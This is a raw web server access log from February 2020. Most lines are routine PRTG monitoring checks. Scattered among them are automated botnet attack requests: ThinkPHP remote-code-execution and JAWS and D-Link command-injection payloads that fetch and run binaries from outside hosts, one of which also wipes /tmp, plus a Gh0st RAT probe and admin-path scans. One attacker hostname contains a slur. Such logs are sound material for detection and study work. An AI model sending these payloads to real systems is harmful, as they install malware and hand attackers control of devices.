212.91.246.72 - - [15/Feb/2020:13:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:20:31 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
212.91.246.72 - - [15/Feb/2020:13:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.57.11.79 - - [15/Feb/2020:13:24:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:13:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.145.51 - - [15/Feb/2020:13:24:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:13:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.224.185.231 - - [15/Feb/2020:13:31:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:13:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.166.124.215 - - [15/Feb/2020:13:31:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
125.25.163.145 - - [15/Feb/2020:13:32:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:13:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.35.14.51 - - [15/Feb/2020:13:37:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:13:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.114.147.225 - - [15/Feb/2020:13:40:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:13:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.63 - - [15/Feb/2020:13:41:11 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:11 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:41:12 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:41:12 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:12 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:41:21 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
212.91.246.72 - - [15/Feb/2020:13:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:13 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:21 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:27 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:27 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:27 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:28 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:28 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:32 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:42:32 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:42:32 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
212.91.246.72 - - [15/Feb/2020:13:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:13:43:08 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
212.91.246.72 - - [15/Feb/2020:13:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.30.9.179 - - [15/Feb/2020:13:46:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:13:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.32.70.195 - - [15/Feb/2020:13:51:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:13:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:13:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.245.126.115 - - [15/Feb/2020:14:02:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.75.0.116 - - [15/Feb/2020:14:03:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.75.0.116 - - [15/Feb/2020:14:03:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:14:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.228.234 - - [15/Feb/2020:14:04:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:14:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.247.110.63 - - [15/Feb/2020:14:11:23 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:14:11:23 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:14:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:14:11:24 +0100] "GET /a2billing/admin/Public/index.php HTTP/1.1" 404 337 "-" "libwww-perl/6.05"
77.247.110.63 - - [15/Feb/2020:14:11:24 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
77.247.110.63 - - [15/Feb/2020:14:11:24 +0100] "GET /admin/config.php HTTP/1.1" 404 321 "-" "libwww-perl/6.05"
212.91.246.72 - - [15/Feb/2020:14:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.231.97.28 - - [15/Feb/2020:14:12:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:14:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.208.110.78 - - [15/Feb/2020:14:21:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:14:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.229.162.55 - - [15/Feb/2020:14:24:16 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
197.205.2.136 - - [15/Feb/2020:14:24:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:14:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.170.225.93 - - [15/Feb/2020:14:25:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
61.231.177.48 - - [15/Feb/2020:14:26:23 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:14:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:29:04 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:14:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [15/Feb/2020:14:32:52 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [15/Feb/2020:14:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.194.37 - - [15/Feb/2020:14:33:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.79.78.40 - - [15/Feb/2020:14:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:14:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [15/Feb/2020:14:35:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
46.236.76.95 - - [15/Feb/2020:14:35:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:14:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.76.233.223 - - [15/Feb/2020:14:36:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:14:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [15/Feb/2020:14:38:06 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [15/Feb/2020:14:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.40.200.150 - - [15/Feb/2020:14:39:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:14:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
